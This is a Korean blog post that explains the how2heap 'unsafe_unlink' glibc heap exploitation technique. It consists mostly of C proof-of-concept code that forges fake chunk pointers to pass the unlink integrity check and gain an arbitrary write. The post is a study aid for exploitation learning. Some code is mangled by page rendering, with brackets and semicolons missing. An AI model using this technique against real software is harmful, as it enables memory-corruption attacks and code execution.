ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Heap Exploit] Unsafe_unlink - how2heap ver
    Hack/Pwnable 2016. 11. 8. 02:31
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
     
     
    uint64_t *chunk0_ptr;
     
    int main()
    {
     
        int malloc_size = 0x80//we want to be big enough not to use fastbins
        int header_size = 2;
     
     
        chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
        
        chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
     
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        chunk1_hdr[0= malloc_size;
        chunk1_hdr[1&= ~1;
        
        free(chunk1_ptr);
     
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3= (uint64_t) victim_string;
     
        chunk0_ptr[0= 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);
    }
    cs


    how2heap 에서의 코드로 unsafe_unlink에 대해 써보려한다.


    malloc을 하되 0x80 즉, fastbin의 사이즈를 초과하여 fast bin을 선택하지않는다.


    unlink는 한번 패치된 적이 있다 아래 코드를 보자


    patched unlink


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #define unlink(P, BK, FD) {                                            
      FD = P->fd;                                                          
      BK = P->bk;                                                          
      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                
        malloc_printerr (check_action, "corrupted double-linked list", P); 
      else {                                                               
        FD->bk = BK;                                                       
        BK->fd = FD;                                                       
      }                                                                    
    }
    cs


    FD와 BK가 변조되었는지 확인하고 false 를 반환하면 커럽션 에러를 띄운다.


    이를 우회하기위한 기법이 unsafe_unlink 기법이다.


        chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
     


    해당 코드에서 FD와 BK검증에서 걸리지않도록 malloc 포인터를 가리키게끔한다. ( 각각 fd, bk )


        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        chunk1_hdr[0= malloc_size;
        chunk1_hdr[1&= ~1;



    chunk1의 prev_size를 0x80으로 맞춰주고, chunk1의 size chunk에서 비트연산을통해 0x90으로 만들어준다. ( PREV_INUSE -> 0 )


    prev_size공간에 값을 넣어주고 PREV_INUSE 플래그를 0으로만듬으로써, 해당 chunk0은 free된것으로 오해하게된다.


    free(chunk1_ptr);


    free를 함으로써, chunk0이 free된것처럼 속였고, chunk1이 free되어 두 청크가 연속으로 free되, 병합이 일어나 unlink 매크로가 호출되게된다.


        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3= (uint64_t) victim_string;
     
        chunk0_ptr[0= 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);


    자기 자신을 임의의 위치로 덮어쓸수있고, 해당 데이터에 영역을 덮어써주면, 그 위치에 값을 쓸수있다.


    아래 코드는 실행시, 어떻게 변하는지 보기쉽게 몇줄 추가한 코드이다.


    dumpcode 추가한 코드


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <dumpcode.h>
     
    uint64_t *chunk0_ptr;
     
    int main()
    {
     
        int malloc_size = 0x80//we want to be big enough not to use fastbins
        int header_size = 2;
     
     
        chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
     
            
        chunk0_ptr[2= (uint64_t) &chunk0_ptr-24;
        chunk0_ptr[3= (uint64_t) &chunk0_ptr-16;
        printf("chunk0: %p\n",chunk0_ptr);
        dumpcode(chunk0_ptr,256);
        printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);
     
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        printf("chunk1_hdr: %p\n",chunk1_hdr);
        chunk1_hdr[0= malloc_size;
        chunk1_hdr[1&= ~1;
        dumpcode(chunk0_ptr,256);
        free(chunk1_ptr);
        dumpcode(chunk0_ptr,256);
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        printf("chunk0_ptr: %p\n",chunk0_ptr);
        dumpcode(chunk0_ptr[3],8);
        chunk0_ptr[3= (uint64_t) victim_string;
        printf("Overwrite chunk0_ptr[0] = %p\n",chunk0_ptr[0]);
        dumpcode(chunk0_ptr,100);
        
        printf("Original value: %s\n",victim_string);
        chunk0_ptr[0= 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);
    }
     
    cs


    'Hack > Pwnable' 카테고리의 다른 글

    [BlackHat Heap] heap_info structure  (0) 2016.11.29
    Allocate Heap with fgets  (0) 2016.11.17
    heap 문제 시나리오들..  (0) 2016.11.08
    [Heap exploit] unsorted bin attack  (0) 2016.10.26
    [Heap exploit] fastbin unlink  (0) 2016.10.19

    댓글

Designed by Tistory.